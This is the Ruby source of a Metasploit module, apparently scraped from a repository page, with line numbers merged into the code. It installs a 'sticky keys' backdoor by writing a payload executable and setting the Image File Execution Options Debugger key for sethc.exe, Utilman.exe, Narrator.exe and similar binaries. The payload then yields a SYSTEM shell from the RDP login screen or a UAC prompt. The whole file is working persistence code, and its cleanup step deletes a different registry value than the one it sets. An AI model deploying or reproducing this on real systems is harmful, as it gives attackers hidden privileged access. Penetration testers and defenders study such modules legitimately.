Path: blob/master/modules/exploits/windows/persistence/accessibility_features_debugger.rb
28788 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::Local::Persistence11prepend Msf::Exploit::Remote::AutoCheck12include Msf::Post::Windows::Registry13include Msf::Post::Windows::Priv14include Msf::Exploit::Deprecated15moved_from 'post/windows/manage/sticky_keys'1617DEBUG_REG_PATH = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options'18DEBUG_REG_VALUE = 'Debugger'1920def initialize(info = {})21super(22update_info(23info,24'Name' => 'Accessibility Features (Sticky Keys) Persistence via Debugger Registry Key',25'Description' => %q{26This module makes it possible to apply the 'sticky keys' hack to a session with appropriate27rights. The hack provides a means to get a SYSTEM shell using UI-level interaction at an RDP28login screen or via a UAC confirmation dialog. The module modifies the Debug registry setting29for certain executables.3031The module options allow for this hack to be applied to:3233SETHC (sethc.exe is invoked when SHIFT is pressed 5 times),34UTILMAN (Utilman.exe is invoked by pressing WINDOWS+U),35OSK (osk.exe is invoked by pressing WINDOWS+U, then launching the on-screen keyboard),36DISP (DisplaySwitch.exe is invoked by pressing WINDOWS+P),37NARRATOR (Narrator.exe is invoked by pressing WINDOWS+CTR+ENTER),38ATBROKER (AtBroker.exe is invoked by launching accessibility features from the login screen, such as WINDOWS+CTR+ENTER).3940Custom payloads and binaries can be run as part of this exploit, but must be manually uploaded41to the target prior to running the module.42},43'Author' => [44'OJ Reeves', # original module45'h00die' # persistence mixin, narrator, atbroker, docs46],47'Platform' => ['win'],48'SessionTypes' => ['meterpreter', 'shell'],49'References' => [50['URL', 'https://web.archive.org/web/20170201184448/https://social.technet.microsoft.com/Forums/windows/en-US/a3968ec9-5824-4bc2-82a2-a37ea88c273a/sticky-keys-exploit'],51['URL', 'https://blog.carnal0wnage.com/2012/04/privilege-escalation-via-sticky-keys.html'],52['URL', 'https://support.microsoft.com/en-us/windows/appendix-b-narrator-keyboard-commands-and-touch-gestures-8bdab3f4-b3e9-4554-7f28-8b15bd37410a'],53['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],54['ATT&CK', Mitre::Attack::Technique::T1546_008_ACCESSIBILITY_FEATURES],55['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']56],57'Targets' => [58[ 'Automatic', {} ]59],60'DefaultTarget' => 0,61'DisclosureDate' => '1995-04-24', # windows 95 release date which included first sticky keys62'Notes' => {63'Stability' => [CRASH_SAFE],64'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],65'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]66}67)68)6970register_options([71OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),72OptEnum.new('BINARY', [true, 'The target binary to add the exploit to.', 'SETHC', ['SETHC', 'UTILMAN', 'OSK', 'DISP', 'NARRATOR', 'ATBROKER']]),73])74end7576#77# Returns the name of the executable to modify the debugger settings of.78#79def get_target_exe_name80case datastore['BINARY']81when 'UTILMAN'82'Utilman.exe'83when 'OSK'84'osk.exe'85when 'DISP'86'DisplaySwitch.exe'87when 'NARRATOR'88'Narrator.exe'89when 'ATBROKER'90'AtBroker.exe'91else92'sethc.exe'93end94end9596#97# Returns the key combinations required to invoke the exploit once installed.98#99def get_target_key_combo100case datastore['BINARY']101when 'UTILMAN'102'WINDOWS+U'103when 'OSK'104'WINDOWS+U, then launching the on-screen keyboard'105when 'DISP'106'WINDOWS+P'107when 'NARRATOR'108'WINDOWS+CTR+ENTER'109when 'ATBROKER'110'Launching accessibility features from the login screen (such as WINDOWS+CTR+ENTER)'111else112'SHIFT 5 times'113end114end115116#117# Returns the full path to the target's registry key based on the current target118# settings.119#120def get_target_exe_reg_key121"#{DEBUG_REG_PATH}\\#{get_target_exe_name}"122end123124def writable_dir125d = super126return session.sys.config.getenv(d) if d.start_with?('%')127128d129end130131def check132print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value133return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)134135return CheckCode::Safe('You have admin rights to run this Module') unless is_admin?136137CheckCode::Appears('Likely exploitable')138end139140def install_persistence141payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))142temp_path = writable_dir143payload_exe = generate_payload_exe144payload_pathname = temp_path + '\\' + payload_name + '.exe'145vprint_status("Payload pathname: #{payload_pathname}")146fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)147target_key = get_target_exe_reg_key148registry_createkey(target_key)149registry_setvaldata(target_key, DEBUG_REG_VALUE, payload_pathname, 'REG_SZ')150151print_good("'Sticky keys' successfully added. Launch the exploit at an RDP or UAC prompt by pressing #{get_target_key_combo}.")152@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '\\\\\\\\')}\"\n"153@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"#{target_key}\" /v GlobalFlag /f\" -H\n"154end155end156157158